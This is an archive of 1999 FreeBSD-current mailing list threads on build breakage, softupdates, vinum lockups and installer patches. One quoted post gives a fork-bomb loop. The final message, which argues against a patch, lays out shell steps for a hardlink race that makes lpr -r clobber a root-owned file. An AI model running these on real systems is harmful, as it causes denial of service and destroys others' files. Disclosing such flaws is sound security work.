What's really needed is some warning sort of like what we did when the AOUT->ELF convertion happened, there has to be a simple way to test this as part of installworld. -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] Wintelcom systems administrator and programmer - http://www.wintelcom.net/ [[EMAIL PROTECTED]] On Thu, 30 Sep 1999, Harold Gutch wrote: > On Wed, Sep 29, 1999 at 04:17:29PM -0700, Doug wrote: > > On Wed, 29 Sep 1999, Ben Rosengart wrote: > > > > > On Wed, 29 Sep 1999, Harold Gutch wrote: > > > > > > > I interpreted the way of currently handling things (build the > > > > kernel first, then the userland) to be a _temporary_ solution, > > > > that Marcel was working on being fixed. If this is not the case, > > > > then I agree with you. > > > > > > If I understand correctly, it only needs to be done once per system, but > > > it makes no difference whether it happens on a given system now or six > > > months from now. > > > > Yes, if I understand Marcel correctly from this moment forward > > everyone who upgrades from any version of freebsd prior to today's > > -current will have to build the kernel first. > > > Uhm, that's the way I see it being _right now_ as well. What I > was thinking of, was that things would go smoother if you > wouldn't upgrade _right now_, but in [insert some time in the > near future here], as things would perhaps be "fixed" by then. > And yes, I'm thinking of an upgrade from the "classical > kernel/userland" to the "new one", e.g. an upgrade from last > week's kernel and userland to the one in two months time. > > Perhaps I silently just expected too much :). > > bye, > Harold > > -- > Sleep is an abstinence syndrome wich occurs due to lack of caffein. > Wed Mar 4 04:53:33 CET 1998 #unix, ircnet > > > To Unsubscribe: send mail to [EMAIL PROTECTED] > with "unsubscribe freebsd-current" in the body of the message > To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
new signal stuff breaks libc_r?
Since the signal changes...
I'm finding that it _seems_ since libc_r isn't including something
that properly defines __inline to inline that i'm getting unresolved
symbols when linking or running programs that depend on libc_r.
Anyone else getting this?
compiling a void main(void){} with -pthread will barf for me,
using -static I'm able to see which files are missing which
inlines.
thanks,
-Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]]
Wintelcom systems administrator and programmer
- http://www.wintelcom.net/ [[EMAIL PROTECTED]]
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: new signal stuff breaks libc_r?
On Mon, 4 Oct 1999, Marcel Moolenaar wrote:
> Alfred Perlstein wrote:
> >
> > Since the signal changes...
> >
> > I'm finding that it _seems_ since libc_r isn't including something
> > that properly defines __inline to inline that i'm getting unresolved
> > symbols when linking or running programs that depend on libc_r.
> >
> > Anyone else getting this?
> >
> > compiling a void main(void){} with -pthread will barf for me,
> > using -static I'm able to see which files are missing which
> > inlines.
>
> This isn't a problem report I can deal with. Please be very explicit.
I think it's something I may have broken somehow, but i'm not
exactly sure:
~ % cat t.c
#include
int main(void) {
printf("hello world.\n");
}
.(14:17:52)(bright@thumper)
~ % gcc -static t.c -pthread
/usr/lib/libc_r.a(uthread_sig.o): In function `_dispatch_signals':
/home/src/lib/libc_r/uthread/uthread_sig.c(.text+0xf05): undefined reference to
`__sigisempty'
For some reason it looks like __inline is being defined like:
#define __inline
so that when signalvar.h is included the inlines for __sigisempty
aren't getting the "inline_ prefix and are assumed to be somewhere
else.
I asked phk about it and he's not having the problem with a recent
-current so I'll be futzing around searching for the reason this
is happening.
I just deleted my source tree and I'm going to re-check it out,
maybe something got corrupted?
-Alfred
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: new signal stuff breaks libc_r?
replying to my own message but I think I found a solution...
It seems that something was stale in /usr/include, I was able to
fix the problem by:
rm -rf /usr/include/*
cd /usr/src
make includes
cd /usr/src/lib/libc_r
make
make install
funny part is that two successive make worlds didn't seem to work, but
this did.
*shrug*
sorry for the noise,
-Alfred
On Mon, 4 Oct 1999, Alfred Perlstein wrote:
>
> On Mon, 4 Oct 1999, Marcel Moolenaar wrote:
>
> > Alfred Perlstein wrote:
> > >
> > > Since the signal changes...
> > >
> > > I'm finding that it _seems_ since libc_r isn't including something
> > > that properly defines __inline to inline that i'm getting unresolved
> > > symbols when linking or running programs that depend on libc_r.
> > >
> > > Anyone else getting this?
> > >
> > > compiling a void main(void){} with -pthread will barf for me,
> > > using -static I'm able to see which files are missing which
> > > inlines.
> >
> > This isn't a problem report I can deal with. Please be very explicit.
>
> I think it's something I may have broken somehow, but i'm not
> exactly sure:
>
> ~ % cat t.c
> #include
>
> int main(void) {
>
> printf("hello world.\n");
>
> }
>
> .(14:17:52)(bright@thumper)
> ~ % gcc -static t.c -pthread
> /usr/lib/libc_r.a(uthread_sig.o): In function `_dispatch_signals':
> /home/src/lib/libc_r/uthread/uthread_sig.c(.text+0xf05): undefined reference to
>`__sigisempty'
>
> For some reason it looks like __inline is being defined like:
>
> #define __inline
>
> so that when signalvar.h is included the inlines for __sigisempty
> aren't getting the "inline_ prefix and are assumed to be somewhere
> else.
>
> I asked phk about it and he's not having the problem with a recent
> -current so I'll be futzing around searching for the reason this
> is happening.
>
> I just deleted my source tree and I'm going to re-check it out,
> maybe something got corrupted?
>
> -Alfred
>
>
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
RE: make install trick
On Tue, 5 Oct 1999, David Schwartz wrote: > > > I have soft updates enabled on a fast machine at work. make > > installworld can fill up slash even though it has 15M free before the > > install. I think this is a bug in softupdates that it doesn't reclaim > > space quickly enough or in overflow situations. > > It's really not a bug, it's just a missing feature. There's no requirement > that a filesystem reclaim empty space immediately. You really shouldn't be > using fastupdates on nearly full filesystems -- it doesn't handle that > situation particularly well. > > Once could even argue that it's preferable to force the make to abort than > thrash the filesystem. Though a switch to allow it to thrash might be > helpful in degenerate cases such as this. > > Fastupdates is great for the most common case -- a typical /usr or /home > partition. That's where you care about write performance anyway. Actually this becomes quite dangerous when used on tmp filesystems, it used to be that mfs was a good idea for /tmp, but now softupdates drastically improves performance... however given that a full /tmp can kill a system that places us in a dilemma now doesn't it? *shrug* I've seen softupdates nearly eliminate disk io for systems that used an abmornal amount of temp files, but the fact that it can destabilize a system worries me greatly. Of course I'm trying desperately to understand the softupdates code right now. :) -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: make install trick
On Wed, 6 Oct 1999, Peter Jeremy wrote: > On 1999-Oct-06 09:55:26 +1000, Alfred Perlstein wrote: > >I've seen softupdates nearly eliminate disk io for systems that used > >an abmornal amount of temp files, but the fact that it can destabilize > >a system worries me greatly. > > What do you mean by `destabilize'? There are bugs in softupdates > which mean that an application may receive ENOSPC when writing to a > filesystem even though space on that filesystem has been recently > freed. Any application that cannot handle this situation is _broken_. Please read more of the thread before replying, the fact of the matter is that softupdates can crash the system when this happens, not a mere application, but the entire system can lock up. > Another option for /tmp - which I forgot last time, and seems to > avoid the known problems with MFS and softupdates - it to mount > /tmp async. Since you're going to blow it all away on the next > reboot anyway, it doesn't really matter if the a crash trashes the > FS (which is the major problem with async mounts). Which isn't an option unless you dedicate a partition for /tmp which is pretty wasteful imo. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Can't make crashdump after panic
On Fri, 15 Oct 1999, Alex Le Heux wrote: > On Thu, Oct 14, 1999 at 09:19:33AM -0500, David Scheidt wrote: > > On Thu, 14 Oct 1999, Alex Le Heux wrote: > > > > > After configuring the system for making a crashdump, I get "panic: Timeout > > > table full" halfway through the dump. > > > [snip] > > > > Sounds like your modules are out of date? That bit me. > > > > The panic happened well after the boot. After X had come up. It happened > when I logged in and Windowmaker was busy firing up all the crap that I > have running in the various places on my screen. > > I'd love to make a crashdump and poke it, but I've got no idea why it > doesn't finish de dump. What is your memory size? what is your swap device size? -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
(vinum?) lockups in strategy routines?
Anyone running -current as of Oct 28, 1999 getting lockups in device strategy routines? I thought I'd be able to get a dump but it didn't work. Specifically I'm running vinum in striping mode and the new ata-drivers. 10 Aug 1999 14:27:51.389915 stripe /dev/da0e /dev/da1e A kernel from Wed Oct 6 seems fine (able to buildworld). grog? :) I hope to get a crashdump soon, is there anything i can do help debug this in the meanwhile? Copyright (c) 1992-1999 The FreeBSD Project. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 4.0-CURRENT #4: Wed Oct 27 06:56:03 PDT 1999 bright@thumper:/home/src/sys/compile/thumper Timecounter "i8254" frequency 1193182 Hz CPU: Pentium II/Xeon/Celeron (400.91-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x652 Stepping = 2 Features=0x183fbff real memory = 536858624 (524276K bytes) config> irq pcm0 5 avail memory = 517173248 (505052K bytes) Programming 24 pins in IOAPIC #0 FreeBSD/SMP: Multiprocessor motherboard cpu0 (BSP): apic id: 1, version: 0x00040011, at 0xfee0 cpu1 (AP): apic id: 0, version: 0x00040011, at 0xfee0 io0 (APIC): apic id: 2, version: 0x00170011, at 0xfec0 Preloaded elf kernel "kernel" at 0xc0355000. Preloaded userconfig_script "/boot/kernel.conf" at 0xc035509c. Pentium Pro MTRR support enabled npx0: on motherboard npx0: INT 16 interface apm0: on motherboard apm: found APM BIOS v1.2, connected at v1.2 pcib0: on motherboard pci0: on pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 vga-pci0: irq 16 at device 0.0 on pci1 isab0: at device 4.0 on pci0 isa0: on isab0 ata-pci0: at device 4.1 on pci0 ata-pci0: Busmastering DMA supported ata0 at 0x01f0 irq 14 on ata-pci0 chip1: irq 19 at device 4.2 on pci0 Timecounter "PIIX" frequency 3579545 Hz chip2: at device 4.3 on pci0 ahc0: irq 19 at device 6.0 on pci0 ahc0: aic7890/91 Wide Channel A, SCSI Id=7, 16/255 SCBs bktr0: irq 17 at device 11.0 on pci0 iicbb0: on bti2c0 iicbus0: on iicbb0 master-only iicsmb0: on iicbus0 smbus0: on iicsmb0 smb0: on smbus0 iic0: on iicbus0 smbus1: on bti2c0 smb1: on smbus1 bktr0: Hauppauge Model 62471 A2 Hauppauge WinCast/TV, Philips FR1236 NTSC FM tuner, dbx stereo. pci0: unknown card (vendor=0x109e, dev=0x0878) at 11.1 irq 17 fxp0: irq 16 at device 12.0 on pci0 fxp0: Ethernet address 00:90:27:3c:77:aa fdc0: at port 0x3f0-0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 pcm0: at port 0x220-0x22f irq 5 drq 3 flags 0x15 on isa0 ppc0 at port 0x378-0x37f irq 7 on isa0 ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode ppc0: FIFO with 16/16/9 bytes threshold lpt0: on ppbus 0 lpt0: Interrupt-driven port ppi0: on ppbus 0 sc0: on isa0 sc0: VGA <16 virtual consoles, flags=0x200> atkbdc0: at port 0x60-0x6f on isa0 atkbd0: irq 1 on atkbdc0 vga0: at port 0x3b0-0x3df iomem 0xa-0xb on isa0 sio0 at port 0x3f8-0x3ff irq 4 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A SMP: AP CPU #1 Launched! ad0: ATA-3 disk at ata0 as master ad0: 2442MB (5001696 sectors), 4962 cyls, 16 heads, 63 S/T, 512 B/S ad0: 16 secs/int, 0 depth queue, DMA Creating DISK ad0 Creating DISK wd0 Waiting 6 seconds for SCSI devices to settle Creating DISK da0 Creating DISK da1 Creating DISK cd0 Creating DISK cd1 changing root device to wd0s1a da0 at ahc0 bus 0 target 2 lun 0 da0: Fixed Direct Access SCSI-2 device da0: 40.000MB/s transfers (20.000MHz, offset 31, 16bit), Tagged Queueing Enabled da0: 8709MB (17836668 512 byte sectors: 255H 63S/T 1110C) da1 at ahc0 bus 0 target 4 lun 0 da1: Fixed Direct Access SCSI-2 device da1: 40.000MB/s transfers (20.000MHz, offset 31, 16bit), Tagged Queueing Enabled da1: 8709MB (17836668 512 byte sectors: 255H 63S/T 1110C) WARNING: / was not properly dismounted vinum: loaded vinum: reading configuration from /dev/da0s1e vinum: updating configuration from /dev/da1s1e cd0 at ahc0 bus 0 target 0 lun 0 cd0: Removable CD-ROM SCSI-2 device cd0: 10.000MB/s transfers (10.000MHz, offset 16) cd0: cd present [213264 x 2048 byte records] cd1 at ahc0 bus 0 target 3 lun 0 cd1: Removable CD-ROM SCSI-2 device cd1: 8.333MB/s transfers (8.333MHz, offset 31) cd1: Attempt to query device size failed: NOT READY, Medium not present - tray closed kernel config: # Thumper machine "i386" cpu "I686_CPU" ident "thumper" maxusers256 # Create a SMP capable kernel (mandatory options): options SMP # Symmetric MultiProcessor Kernel options APIC_IO # Symmetric (APIC) I/O options NCPU=4 # number of CPUs options NBUS=5 # number of busses options NAPIC=2 # number of IO APICs options NINTR=25# number of
RE: protecting from attacks
On Fri, 29 Oct 1999, Luke wrote:
> I have been trying to figure out a sane method of stopping this one:
> while(1) {
> fork();
> }
>
> on a machine with no limits the load went to 290+ I tried fiddling with
> limits and got it down to making the load 2-3 but the limits are ridiculous.
> I didn't look in mail archives so sorry if this has been discussed before
rmuser is the prefered way to fix it.
If you have abusive users then get rid of them, however if a limited
user is able to take down a box we want to hear about it.
-Alfred
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: (vinum?) lockups in strategy routines?
On Fri, 29 Oct 1999, #Michael Class wrote: > Hello, > > just another datapoint. I just installed two new IBM DPTA-343740 > discs into my System at home. They are configured with striping in vinum. > Within a day I got two solid lockups with the new ata-drivers. After > that I switchied to the old wd-driver. Everythings works fine since then. Same here, I just compiled a new system with the old wd driver instead of ata and i'm happily crunching along. Sometime between now and october 6th something went wrong? -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
crashdump in re lockups.
d driver. device vga0 at isa? port ? conflicts # Splash screen at start up! Screen savers require this too. pseudo-device splash device npx0at nexus? port "IO_NPX" irq 13 # Laptop support (see LINT for more options) device apm0at nexus? flags 0x31 # Advanced Power Management device sio0at isa? port "IO_COM1" irq 4 device sio1at isa? port "IO_COM2" irq 3 controller smbus0 device smb0 at smbus? controller iicbus0 controller iicbb0 device ic0 at iicbus? device iic0 at iicbus? device iicsmb0 at iicbus? device bktr0 device ed0 at pci? pseudo-device vn 4 pseudo-device loop pseudo-device ether pseudo-device sl 1 pseudo-device ppp 1 pseudo-device tun 1 pseudo-device pty 256 pseudo-device bpf 4 pseudo-device snp 4 pseudo-device gzip# Exec gzipped a.out's device fxp0 optionsINVARIANT_SUPPORT Copyright (c) 1992-1999 The FreeBSD Project. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 4.0-CURRENT #1: Fri Oct 29 10:59:17 PDT 1999 bright@thumper:/home/src/sys/compile/thumper Timecounter "i8254" frequency 1193182 Hz CPU: Pentium II/Xeon/Celeron (400.91-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x652 Stepping = 2 Features=0x183fbff real memory = 536858624 (524276K bytes) config> irq pcm0 5 config> flag sio1 0x30 avail memory = 517152768 (505032K bytes) Programming 24 pins in IOAPIC #0 FreeBSD/SMP: Multiprocessor motherboard cpu0 (BSP): apic id: 1, version: 0x00040011, at 0xfee0 cpu1 (AP): apic id: 0, version: 0x00040011, at 0xfee0 io0 (APIC): apic id: 2, version: 0x00170011, at 0xfec0 Preloaded elf kernel "kernel" at 0xc0358000. Preloaded userconfig_script "/boot/kernel.conf" at 0xc035809c. Pentium Pro MTRR support enabled npx0: on motherboard npx0: INT 16 interface apm0: on motherboard apm: found APM BIOS v1.2, connected at v1.2 pcib0: on motherboard pci0: on pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 vga-pci0: irq 16 at device 0.0 on pci1 isab0: at device 4.0 on pci0 isa0: on isab0 ide_pci0: at device 4.1 on pci0 chip1: irq 19 at device 4.2 on pci0 Timecounter "PIIX" frequency 3579545 Hz chip2: at device 4.3 on pci0 ahc0: irq 19 at device 6.0 on pci0 ahc0: aic7890/91 Wide Channel A, SCSI Id=7, 16/255 SCBs bktr0: irq 17 at device 11.0 on pci0 iicbb0: on bti2c0 iicbus0: on iicbb0 master-only iicsmb0: on iicbus0 smbus0: on iicsmb0 smb0: on smbus0 iic0: on iicbus0 smbus1: on bti2c0 smb1: on smbus1 bktr0: Hauppauge Model 62471 A2 Hauppauge WinCast/TV, Philips FR1236 NTSC FM tuner, dbx stereo. pci0: unknown card (vendor=0x109e, dev=0x0878) at 11.1 irq 17 fxp0: irq 16 at device 12.0 on pci0 fxp0: Ethernet address 00:90:27:3c:77:aa fdc0: at port 0x3f0-0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 wdc0 at port 0x1f0-0x1f7 irq 14 flags 0xe0ffe0ff on isa0 wdc0: unit 0 (wd0): , DMA, 32-bit, multi-block-16, sleep-hack wd0: 2442MB (5001696 sectors), 4962 cyls, 16 heads, 63 S/T, 512 B/S pcm0: at port 0x220-0x22f irq 5 drq 3 flags 0x15 on isa0 ppc0 at port 0x378-0x37f irq 7 on isa0 ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode ppc0: FIFO with 16/16/9 bytes threshold lpt0: on ppbus 0 lpt0: Interrupt-driven port ppi0: on ppbus 0 sc0: on isa0 sc0: VGA <16 virtual consoles, flags=0x0> atkbdc0: at port 0x60-0x6f on isa0 atkbd0: irq 1 on atkbdc0 vga0: at port 0x3b0-0x3df iomem 0xa-0xb on isa0 sio0 at port 0x3f8-0x3ff irq 4 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 flags 0x30 on isa0 sio1: type 16550A, console Waiting 6 seconds for SCSI devices to settle SMP: AP CPU #1 Launched! Creating DISK da0 Creating DISK da1 Creating DISK cd0 Creating DISK cd1 da0 at ahc0 bus 0 target 2 lun 0 da0: Fixed Direct Access SCSI-2 device da0: 40.000MB/s transfers (20.000MHz, offset 31, 16bit), Tagged Queueing Enabled da0: 8709MB (17836668 512 byte sectors: 255H 63S/T 1110C) da1 at ahc0 bus 0 target 4 lun 0 da1: Fixed Direct Access SCSI-2 device da1: 40.000MB/s transfers (20.000MHz, offset 31, 16bit), Tagged Queueing Enabled da1: 8709MB (17836668 512 byte sectors: 255H 63S/T 1110C) cd0 at ahc0 bus 0 target 0 lun 0 cd0: Removable CD-ROM SCSI-2 device cd0: 10.000MB/s transfers (10.000MHz, offset 16) cd0: cd present [213264 x 2048 byte records] changing root device to wd0s1a WARNING: / was not properly dismounted vinum: loaded vinum: reading configuration from /dev/da0s1e vinum: updating configuration from /dev/da1s1e cd1 at ahc0 bus 0 target 3 lun 0 cd1: Removable CD-ROM SCSI-2 device cd1: 8.333MB/s transfers (8.333MHz, offset 31) cd1: Attempt to query device size failed: NOT READY, Medium not present - tray closed -Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]] Wintelcom systems administrator and programmer - http://www.wintelcom.net/ [[EMAIL PROTECTED]] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: -stable to -current
On Fri, 29 Oct 1999, Doug White wrote: > On Fri, 29 Oct 1999, Ben Rosengart wrote: > > > On Fri, 29 Oct 1999, Doug White wrote: > > > > > I still hate the way the signal change was handled. > > > > How would you have done it differently? As I understand it, the pain > > was more or less inevitable. > > Perhaps, but there must be a way to keep gcc from dying. > > I don't fully understand the mechanics involved so I will shut up until I > teach myself about the syscall handling and concoct a better solution :) Since there were syscalls added, the newly compiled gcc calls system calls in the kernel that don't exist... _yet_ I like the idea of some sort of date/version checking, but it's not being checked just yet. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: crashdump in re lockups.
On Sat, 30 Oct 1999, Brian Fundakowski Feldman wrote: > If you did a kldstat (in gdb. Use Greg Lehey's .gdbinit* from vinum) and > added the pertinent KLD as a symbol file correctly (also reference > the .gdbinit*), you would probably get more useful output. Try > that and let me know. FWIW, I have my CFLAGS + -g in the modules > just as I have my kernel -g and installed with install.debug. This > helps if you plan on debugging a module when it crashes. ah! thank you very much! ok, the code that makes sure we aren't "overloaded" at vinumreqest.c 395 393 while ((drive->active >= DRIVE_MAXACTIVE) /* it has too much to do already, */ 394 ||(vinum_conf.active >= VINUM_MAXACTIVE)) /* or too many requests globally */ 395 tsleep(&launch_requests, PRIBIO | PCATCH, "vinbuf", I'm assuming that this code isn't executed in the context of the vinum daemon because the lockup tended to happen when I would hit ^C. Greg, you need to catch the error from tsleep and do something with it. :) This is where i'm getting nailed. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: TCP sockets stuck in the CLOSING state
On Thu, 4 Nov 1999, Kenneth D. Merry wrote: > > Before I spend a lot of time hunting this down, I figured it might be worth > asking -- is there any particular reason why TCP sockets may be getting > stuck in the CLOSING state more often now? > > I upgraded a machine from -current as of about June 26th to -current as of > last Friday (October 29th), and I've got an ever increasing number of > sockets stuck in the CLOSING state: > > Active Internet connections > Proto Recv-Q Send-Q Local Address Foreign Address (state) > tcp0 0 myhost.1929 othermailserver1.auth CLOSING > tcp0 0 myhost.1904 othermailserver1.auth CLOSING > tcp0 0 myhost.1609 othermailserver1.auth CLOSING > > This didn't seem to happen with the previous version of -current. I looked > through the commitlogs for the TCP code, and I saw some timer changes, but > nothing that looked like it would obviously have this effect. > > Anyone have any ideas? me too! Needed to reboot to allow something to bind to the socket. Ie. happening to server side sockets. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: new kernel.
On Thu, 11 Nov 1999, Byung Yang wrote: > > I supped two days ago and compiled everything. Now, if I try to launch > netscape, the computer just freezes right up there. First, I thought it > was the netscape, but when I was searching for a file on my computer, but > took longer than I thought and pressed ^C, it froze again. > > I heard and also suspect that this has something to do with the new signal > algorithm.. does anybody experience this? Yes, but... what kind of configuration do you have? Since my crystal ball is in the shop I really have no way of dicerning what's going on. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
installing onto ami mega raid.
I spent about 2 to 3 hours last night futzing with sysinstall and
getting the amr.ko file onto the 4.0 install disk (using the
4.0-19991114 SNAP) I tried adding the amr disks to devices.c in
sysinstall but had no luck.
After booting the install disks and loading the amr kld (the probe
messages showed that it was detected) I escaped to the prompt
(alt+f4). I saw that the amrd0 /dev/ entries had been created,
but attempts to access them gave "unit 0 not available" (as far as
i remeber)
What exactly needs to be done to get 4.0 installed with a amr disk
as root?
this is what I tried:
Index: devices.c
===
RCS file: /home/ncvs/src/release/sysinstall/devices.c,v
retrieving revision 1.106
diff -u -r1.106 devices.c
--- devices.c 1999/11/09 19:10:15 1.106
+++ devices.c 1999/11/15 14:07:33
@@ -74,6 +74,8 @@
{ DEVICE_TYPE_TAPE,"rwt%d","Wangtek tape drive", 10, 0, 1, 4,
'c'},
{ DEVICE_TYPE_DISK,"da%d", "SCSI disk device", 4, 65538, 8,
16, 'b'},
{ DEVICE_TYPE_DISK,"rda%d","SCSI disk device", 13, 65538, 8,
16, 'c' },
+{ DEVICE_TYPE_DISK,"amrd%d", "AMI-MEGARAID disk",35, 65538, 8,
+16, 'b' },
+{ DEVICE_TYPE_DISK,"ramrd%d", "AMI-MEGARAID disk",133, 65538, 8,
+16, 'c' },
{ DEVICE_TYPE_DISK,"wd%d", "IDE/ESDI/MFM/ST506 disk device",
0, 65538, 8, 16, 'b'},
{ DEVICE_TYPE_DISK,"rwd%d","IDE/ESDI/MFM/ST506 disk device",
3, 65538, 8, 16, 'c'},
{ DEVICE_TYPE_DISK,"ad%d", "ATA/IDE disk device", 30, 65538, 8,
16, 'b' },
Any ideas? We're really depending on getting these things going RSN.
thanks,
-Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]]
Wintelcom systems administrator and programmer
- http://www.wintelcom.net/ [[EMAIL PROTECTED]]
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: installing onto ami mega raid.
On Mon, 15 Nov 1999, Alfred Perlstein wrote:
>
> I spent about 2 to 3 hours last night futzing with sysinstall and
> getting the amr.ko file onto the 4.0 install disk (using the
> 4.0-19991114 SNAP) I tried adding the amr disks to devices.c in
> sysinstall but had no luck.
...
replying to my own message, I seem to have compiled the install
stuff from Oct25th or so, Bill F told me about libdisk needing
an update to install on new media, however I just assumed it
wasn't done, but it was! :) (I was compiling sysinstall with
an outdated libdisk)
However, sysinstall's devices.c file still lacks entries for it,
right now I can't test but will be able to tonight, any ideas
on whether it'll just work? (has anyone tested installs on the AMI
mega-raid?) Or perhaps we need this patch in sysinstall?
thanks,
-Alfred
>
> After booting the install disks and loading the amr kld (the probe
> messages showed that it was detected) I escaped to the prompt
> (alt+f4). I saw that the amrd0 /dev/ entries had been created,
> but attempts to access them gave "unit 0 not available" (as far as
> i remeber)
>
> What exactly needs to be done to get 4.0 installed with a amr disk
> as root?
>
> this is what I tried:
>
> Index: devices.c
> ===
> RCS file: /home/ncvs/src/release/sysinstall/devices.c,v
> retrieving revision 1.106
> diff -u -r1.106 devices.c
> --- devices.c 1999/11/09 19:10:15 1.106
> +++ devices.c 1999/11/15 14:07:33
> @@ -74,6 +74,8 @@
> { DEVICE_TYPE_TAPE, "rwt%d","Wangtek tape drive", 10, 0, 1, 4,
>'c'},
> { DEVICE_TYPE_DISK, "da%d", "SCSI disk device", 4, 65538, 8,
>16, 'b'},
> { DEVICE_TYPE_DISK, "rda%d","SCSI disk device", 13, 65538, 8,
>16, 'c' },
> +{ DEVICE_TYPE_DISK, "amrd%d", "AMI-MEGARAID disk",35, 65538, 8,
>16, 'b' },
> +{ DEVICE_TYPE_DISK, "ramrd%d", "AMI-MEGARAID disk",133, 65538, 8,
>16, 'c' },
> { DEVICE_TYPE_DISK, "wd%d", "IDE/ESDI/MFM/ST506 disk device",
> 0, 65538, 8, 16, 'b'},
> { DEVICE_TYPE_DISK, "rwd%d","IDE/ESDI/MFM/ST506 disk device",
> 3, 65538, 8, 16, 'c'},
> { DEVICE_TYPE_DISK, "ad%d", "ATA/IDE disk device", 30, 65538, 8,
>16, 'b' },
>
>
> Any ideas? We're really depending on getting these things going RSN.
>
To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message
Re: dd and gzip'd files
On Sat, 20 Nov 1999, Donn Miller wrote: > I recently tried using dd to transfer a binary image to floppy. > It was the Linux root disk image, color.gz. Basically, dd works > ok with non-gzipped files, but with files in gzip format, it > chokes: > > root@lc186 floppies# dd if=color.gz of=/dev/rfd0 > dd: /dev/rfd0: Invalid argument > 2453+1 records in > 2453+0 records out > 1255936 bytes transferred in 42.665771 secs (29437 bytes/sec) > > Notice the line that says: > > 2453+1 records in > ^^ > > For some reason, it is offsetting to 1 before writing to disk. > Rawrite.exe does this correctly. I tried with net.i, and it gave > me no problems: > > root@lc186 floppies# dd if=net.i of=/dev/rfd0 > 2156+0 records in > 2156+0 records out > 1103872 bytes transferred in 39.172698 secs (28180 bytes/sec) > > I tried skip=0, but that didn't work. Apparently, dd has some > limitations with what kinds of files you can transfer to > floppies. I downloaded the files in binary format, so there's no > problems there. no, you must write in block sized chunks when writing to raw devices or it'll get mad at you, try figuring a way to use a blocksize of 16k and padding it to a 16k boundry. if that doesn't work, then please tell us what you tried. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: installing onto ami mega raid.
On Sun, 21 Nov 1999, Mike Smith wrote: > > > > I spent about 2 to 3 hours last night futzing with sysinstall and > > getting the amr.ko file onto the 4.0 install disk (using the > > 4.0-19991114 SNAP) I tried adding the amr disks to devices.c in > > sysinstall but had no luck. > > Bah. I knew I forgot something there. That should just about have > done it. > > > After booting the install disks and loading the amr kld (the probe > > messages showed that it was detected) I escaped to the prompt > > (alt+f4). I saw that the amrd0 /dev/ entries had been created, > > but attempts to access them gave "unit 0 not available" (as far as > > i remeber) > > That's not an error message that the driver can produce. It'd be > helpful to know what it actually said, and whether you have actually > created an array yet. > > > What exactly needs to be done to get 4.0 installed with a amr disk > > as root? > > Sysinstall needs the patch you supplied; apart from that I'm not aware > of anything else. I haven't, obviously, had time to work on this yet. > A better diagnostic from you above would save me at least one release > build... Unfortunatly all the amr systems I have are now in production, I can not test a new install on them. The way I did manage to do the install was nfs mounting another machine's /, /usr, and /var then using dump/restore to init the system over a hand done disklabel on the amr (disklabel, not sysinstall). I'm sorry. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: Make world broken in libc_r
On Sat, 27 Nov 1999, Mark Murray wrote: > Hi > > "make world" is broken in libc_r. Simple fix is to replace all > "socklen_t" with "int". libc_r likes to pull data from /usr/include instead of the source tree, "make includes" fixes this. I'm not sure if that's the correct way to fix it though. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
NO! Re: [PATCHES] Two fixes for lpd/lpc for review and test
On Tue, 7 Dec 1999, Warner Losh wrote:
> I've been reviewing this patch with someone and I think the last
> version is ready to commit. I'll take a look at my tree to make
> sure.
please do not, the patch in PR 11997 introduces a major security flaw.
someone can hardlink to any file and clobber it with a file owned by
them:
try this:
as root:
# cd /var/tmp ; touch rootfile ; chown root:wheel rootfile ; chmod 600 rootfile
as a user:
% cd /var/tmp ; echo foo > foo
% lpr -r foo
sleeping
in another session as user:
% rm foo ; ln rootfile foo
